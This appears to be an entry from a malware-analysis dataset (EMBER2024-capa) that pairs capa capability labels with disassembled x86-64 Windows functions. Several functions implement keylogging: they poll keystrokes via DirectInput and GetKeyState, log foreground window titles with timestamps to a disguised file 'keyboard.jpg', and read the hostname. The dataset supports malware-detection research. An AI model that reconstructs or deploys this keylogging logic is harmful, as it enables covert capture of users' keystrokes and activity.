joyce8/EMBER2024-capa huggingface dataset:
Function at 0x228d840
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x60
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor r9d, r9d
mov rsi, rdx
mov rbp, rcx
lea r13, [0x022b30c0]
lea edx, [r9 + 0x23]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, [0x022a72e0]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea r8, str.keyboard.jpg
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x022b3780], rax
test rax, rax
je 0x228d8bc
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r12d, r12d
xor r9d, r9d
mov edx, 0x40000000
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 2]
mov rcx, r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x3200000
jbe 0x228d914
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [0x022b3780]
test rcx, rcx
je 0x228d926
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsi]
lea r9, [0x022b31c8]
lea r8, [0x022a6860]
mov edx, 0x800
mov qword [rsp + 0x20], r12
call qword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x228d952
xor al, al
jmp 0x228da2f
mov rcx, qword [0x022b31c8]
lea r8, [0x022b31d0]
lea rdx, [0x022a6880]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x228d94b
mov rcx, qword [0x022b31d0]
lea rdx, [0x022a6840]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x228d94b
mov rcx, qword [0x022b31d0]
mov rdx, qword [rbp]
mov r8d, 0xa
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x228d94b
mov rcx, qword [0x022b31d0]
mov dword [rsp + 0x40], setsockopt
mov qword [rsp + 0x44], reloc.WS2_32.dll_recv
mov dword [rsp + 0x4c], r12d
mov dword [rsp + 0x50], 0x3c
mov rax, qword [rcx]
lea r8, [rsp + 0x40]
mov edx, 1
call qword [rax + 0x30]
test eax, eax
js 0x228d94b
mov rcx, qword [0x022b31d0]
mov rax, qword [rcx]
call qword [rax + 0x38]
test eax, eax
js 0x228d94b
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, setsockopt
mov dword [0x022b3bdc], eax
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x228da23
mov dword [0x022b3788], r12d
cmp ax, 1
jne 0x228da2d
mov dword [0x022b3788], 1
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.0228fda0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x228da50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rcx
mov rcx, qword [0x022b3780]
test rcx, rcx
je 0x228da72
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov qword [rsp + 0x30], 0
lea rcx, [0x022b30c0]
lea r8d, [r9 + 2]
mov edx, 0x40000000
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x228db0a
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x58], 0
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea r9, [rsp + 0x58]
mov rdx, rdi
mov rcx, rbx
mov r8d, eax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x022b3780]
test rcx, rcx
je 0x228db0a
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x228db20
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x470
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rsp + 0x460], rax
lea rcx, [0x022b37a0]
xor edx, edx
mov r8d, 0x400
call fcn.02295160
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea rdx, [0x022b37a0]
mov rcx, rax
mov r8d, 0x400
mov qword [0x022b3798], rax
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rcx, [rsp + 0x61]
xor ebx, ebx
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x60], bl
call fcn.02295160
mov r11, qword [0x022b3790]
cmp qword [0x022b3798], r11
je 0x228dc3b
lea rcx, [0x022b37a0]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x228dc2d
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x58]
movzx ecx, word [rsp + 0x52]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x60]
lea r8, [0x022b37a0]
lea rdx, [0x022a7300]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rsp + 0x60]
call fcn.0228da50
lea rcx, [0x022b37a0]
xor edx, edx
mov r8d, 0x400
call fcn.02295160
mov ebx, 1
mov rcx, qword [0x022b3798]
mov qword [0x022b3790], rcx
mov eax, ebx
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.0228fda0
add rsp, 0x470
pop rbx
ret
Function at 0x228e250
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x30
mov qword [rcx + 8], rdx
lea rax, [0x022a6ae0]
xor r13d, r13d
mov qword [rcx], rax
mov dword [rcx + 0x18], r13d
mov qword [rdx + 0x110], rcx
mov rsi, rdx
mov r12d, r9d
mov rbx, r8
mov rdi, rcx
lea edx, [r13 + 1]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rdi + 0x10], rax
lea rax, [0x022a73c0]
mov qword [rdi], rax
test rbx, rbx
je 0x228e2d8
lea rcx, [rdi + 0x20]
xor edx, edx
mov r8d, 0x104
call fcn.02295160
lea rcx, [rdi + 0x24]
mov r8d, 0xff
mov rdx, rbx
call fcn.022906d0
mov qword [rdi + 0x128], rsi
mov dword [rdi + 0x20], r12d
mov dword [rdi + 0x2070], r13d
mov qword [rdi + 0x2078], r13
mov rcx, qword [0x022b3be8]
mov r8, qword [0x022b3be0]
sub rcx, r8
movabs rax, 0xe38e38e38e38e39
mov qword [0x022b30b8], rdi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rsi, edx
test edx, edx
jle 0x228e359
mov rbx, r13
nop
lea rcx, [rbx + r8 + 0x18]
lea rdx, [rdi + 0x20]
mov r8d, 0x104
call fcn.0228fde0
add rbx, 0x120
dec rsi
je 0x228e359
mov r8, qword [0x022b3be0]
jmp 0x228e330
cmp byte [0x022b378e], r13b
je 0x228e386
lea r8, [0x0228e830]
mov r9, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call fcn.0229025c
mov qword [rdi + 0x2078], rax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rax, rdi
add rsp, 0x30
pop r13
pop r12
pop rdi
ret

Function at 0x228eb30
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x20
mov r8, qword [rcx]
mov rbp, rcx
movabs rcx, 0xffffffff00000000
mov rsi, qword [r8 + 0x30]
movzx eax, word [r8 + 0x14]
xor edi, edi
and rsi, rcx
cmp di, word [r8 + 6]
jae 0x228ec2f
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], r12
lea r12, [0x022afd30]
lea rbx, [rax + r8 + 0x3c]
nop word [rax + rax]
mov r9d, dword [rbx]
mov eax, r9d
mov edx, r9d
mov r10d, r9d
shr eax, 0x1d
shr edx, 0x1e
shr r10d, 0x1f
and eax, 1
and edx, 1
bt r9d, 0x19
jae 0x228ebba
mov ecx, dword [rbx - 0x1c]
mov edx, dword [rbx - 0x14]
mov r8d, 0x4000
or rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x228ec0e
movsxd rcx, eax
movsxd rax, edx
lea rdx, [rax + rcx*2]
lea rcx, [r10 + rdx*2]
mov r10d, dword [r12 + rcx*4]
bt r9d, 0x1a
jae 0x228ebd8
bts r10d, 9
mov eax, dword [rbx - 0x14]
test eax, eax
jne 0x228ebf8
test r9b, 0x40
je 0x228ebeb
mov eax, dword [r8 + 0x20]
jmp 0x228ebf4
test r9b, r9b
jns 0x228ec0e
mov eax, dword [r8 + 0x24]
test eax, eax
je 0x228ec0e
mov ecx, dword [rbx - 0x1c]
lea r9, [rsp + 0x40]
mov edx, eax
or rcx, rsi
mov r8d, r10d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rbp]
inc edi
add rbx, 0x28
movzx eax, word [r8 + 6]
cmp edi, eax
jl 0x228eb80
mov r12, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
Function at 0x228f290
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x650
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rsp + 0x640], rax
mov rdi, rcx
mov rbx, rdx
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x1ff
mov byte [rsp + 0x40], 0
call fcn.02295160
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x30], 0x200
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x228f2fa
lea rdx, str.UnKnowW
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x240]
xor edx, edx
mov r8d, 0x400
call fcn.02295160
lea r8, [rsp + 0x40]
lea rdx, str.SOFTWARE_sW_
lea rcx, [rsp + 0x240]
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [rsp + 0x240]
mov r9, rbx
mov r8d, 1
mov rdx, rdi
mov dword [rsp + 0x20], eax
call fcn.022817d0
test eax, eax
setne al
mov rcx, qword [rsp + 0x640]
xor rcx, rsp
call fcn.0228fda0
mov rbx, qword [rsp + 0x670]
add rsp, 0x650
pop rdi
ret

Function at 0x228f380
Capabilities:
Get hostname

Disassembly:
push rbx
sub rsp, 0x650
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rsp + 0x640], rax
mov rbx, rcx
lea rcx, [0x022b3c30]
xor edx, edx
mov r8d, 0x400
call fcn.02295160
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x1ff
mov byte [rsp + 0x40], 0
call fcn.02295160
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x30], 0x200
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x228f3f7
lea rdx, str.UnKnow
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x240]
xor edx, edx
mov r8d, 0x400
call fcn.02295160
lea r8, [rsp + 0x40]
lea rdx, str.SOFTWARE_sW_
lea rcx, [rsp + 0x240]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r9, [0x022b3c30]
lea rcx, [rsp + 0x240]
mov r8d, 1
mov rdx, rbx
mov dword [rsp + 0x20], 0x400
call fcn.022814c0
lea rax, [0x022b3c30]
mov rcx, qword [rsp + 0x640]
xor rcx, rsp
call fcn.0228fda0
add rsp, 0x650
pop rbx
ret

Function at 0x228f470
Capabilities:
Get hostname

Disassembly:
push rbx
sub rsp, 0x650
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rsp + 0x640], rax
mov ebx, ecx
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x1ff
mov byte [rsp + 0x40], 0
call fcn.02295160
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x30], 0x200
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x228f4d2
lea rdx, str.UnKnow
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x240]
xor edx, edx
mov r8d, 0x400
call fcn.02295160
lea r8, [rsp + 0x40]
lea rdx, str.SOFTWARE_sW_
lea rcx, [rsp + 0x240]
call qword [sym.imp.USER32.dll_wsprintfA]
xor r9d, r9d
lea rdx, [0x022a70dc]
lea rcx, [rsp + 0x240]
lea r8d, [r9 + 4]
mov dword [rsp + 0x20], ebx
call fcn.022817d0
test eax, eax
setne al
mov rcx, qword [rsp + 0x640]
xor rcx, rsp
call fcn.0228fda0
add rsp, 0x650
pop rbx
ret
Function at 0x228f540
Capabilities:
Get hostname

Disassembly:
push rbx
sub rsp, 0x660
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rsp + 0x650], rax
xor eax, eax
mov rbx, rcx
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x1ff
mov byte [rsp + 0x38], 0
mov qword [rsp + 0x39], rax
mov dword [rsp + 0x41], eax
mov word [rsp + 0x45], ax
mov byte [rsp + 0x47], al
mov byte [rsp + 0x50], al
call fcn.02295160
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x30], 0x200
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x228f5bb
lea rdx, str.UnKnow
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x250]
xor edx, edx
mov r8d, 0x400
call fcn.02295160
lea r8, [rsp + 0x50]
lea rdx, str.SOFTWARE_sW_
lea rcx, [rsp + 0x250]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r9, [rsp + 0x38]
lea rcx, [rsp + 0x250]
mov r8d, 4
mov rdx, rbx
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.022814c0
test eax, eax
je 0x228f61d
lea rcx, [rsp + 0x38]
call fcn.02291124
jmp 0x228f61f
xor eax, eax
mov rcx, qword [rsp + 0x650]
xor rcx, rsp
call fcn.0228fda0
add rsp, 0x660
pop rbx
ret

Function at 0x2291487
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x022ad190]
jne 0x228fdba
rol rcx, 0x10
test cx, 0xffff
jne 0x228fdb6
repz ret
ror rcx, 0x10
jmp 0x22913e0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x022b1e80]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x022b1f78]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x2291465
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x022b1e80]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x2291487
mov rax, qword [rsp + 0x88]
mov qword [0x022b1f78], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x022b1f18], rax
mov rax, qword [0x022b1f78]
mov qword [0x022b1df0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x022b1f00], rax
mov dword [0x022b1de0], 0xc0000409
mov dword [0x022b1de4], 1
mov rax, qword [0x022ad190]
mov qword [rsp + 0x68], rax
mov rax, qword [0x022ad198]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x022b1e78], eax
mov ecx, 1
call fcn.02295f3c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x022a35f8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x022b1e78], 0
jne 0x229150e
mov ecx, 1
call fcn.02295f3c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x229a124
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x022ad190]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.02291660
xor ebx, ebx
cmp qword [0x022b2ee0], rbx
mov rdi, rax
jne 0x229a237
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x229a30e
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x229a30e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x022b2ee0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x022b2ee8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x022b2ef0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x022b2f00], rax
test rax, rax
je 0x229a22e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x022b2ef8], rax
jmp 0x229a23e
mov rax, qword [0x022b2ef8]
jmp 0x229a245
mov rax, qword [0x022b2ef8]
mov r11, qword [0x022b2f00]
cmp rax, rdi
je 0x229a2ac
cmp r11, rdi
je 0x229a2ac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x022b2f00]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x229a2ac
test rax, rax
je 0x229a2ac
call rsi
test rax, rax
je 0x229a2a6
lea rcx, [rsp + 0x30]
mov r9d, recv
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x229a2a6
test byte [rsp + 0x40], 1
jne 0x229a2ac
bts ebp, 0x15
jmp 0x229a2ec
mov rcx, qword [0x022b2ee8]
cmp rcx, rdi
je 0x229a2ec
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x229a2ec
call rax
mov rbx, rax
test rax, rax
je 0x229a2ec
mov rcx, qword [0x022b2ef0]
cmp rcx, rdi
je 0x229a2ec
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x229a2ec
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x022b2ee0]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x229a30e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x229a310
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.0228fda0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140002858
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400028a2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400028a2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400028a2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400028a2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400028a2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400028a4
xor al, al
add rsp, 0x28
ret

Function at 0x140006a84
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140001e10
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14000a23c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140006ad3
mov rax, rbp
jmp 0x140006bdb
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x20440]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1400094fc
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x20440]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140006bd7
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140006bd7
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1400094fc
test rax, rax
js 0x140006bd7
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140006bd7
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140006bc9
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140006bc9
cmp byte [rcx], 0xd
jne 0x140006baf
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140006bbe
cmp byte [rcx + 1], 0xa
jne 0x140006bbe
inc rcx
jmp 0x140006bbe
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x1f380]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140006b91
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140006bdb
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140001e70
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140007d44
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007b40
Function at 0x14000a264
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140020440]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14000a2bb
cmp word [rdx], r13w
jne 0x14000a2bb
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14000a2c0
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14000a3e5
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14000a406
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14000a2f9
mov rdx, r9
mov word [rbx], cx
jmp 0x14000a320
cmp r9, r8
jae 0x14000a330
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14000a2da
jmp 0x14000a3e5
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000a3da
cmp dword [rsp + 0x80], esi
je 0x14000a3da
lea r8, [0x140020440]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14000a3b2
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14000a382
mov word [rbx], r13w
jmp 0x14000a3e2
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14000a38f
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14000a3e2
cmp word [rsp + 0x70], r13w
jne 0x14000a3bf
cmp rbx, r14
je 0x14000a37c
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140009504
cmp word [rsp + 0x70], r13w
je 0x14000a3e5
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140020440]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14000a3df
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14000a3e5
Function at 0x14000c8bc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000c8ec
xor eax, eax
jmp 0x14000c9af
mov rbp, rbx
cmp word [rax], si
je 0x14000c911
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000c8f8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000c8f4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000c7dc
movsxd r14, eax
test eax, eax
jne 0x14000c94f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000c8e5
mov rcx, r14
call fcn.14000d724
mov rdi, rax
test rax, rax
jne 0x14000c968
xor ecx, ecx
call fcn.14000ae3c
jmp 0x14000c944
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000c7dc
test eax, eax
jne 0x14000c999
mov rcx, rdi
call fcn.14000ae3c
jmp 0x14000c9a3
xor ecx, ecx
call fcn.14000ae3c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
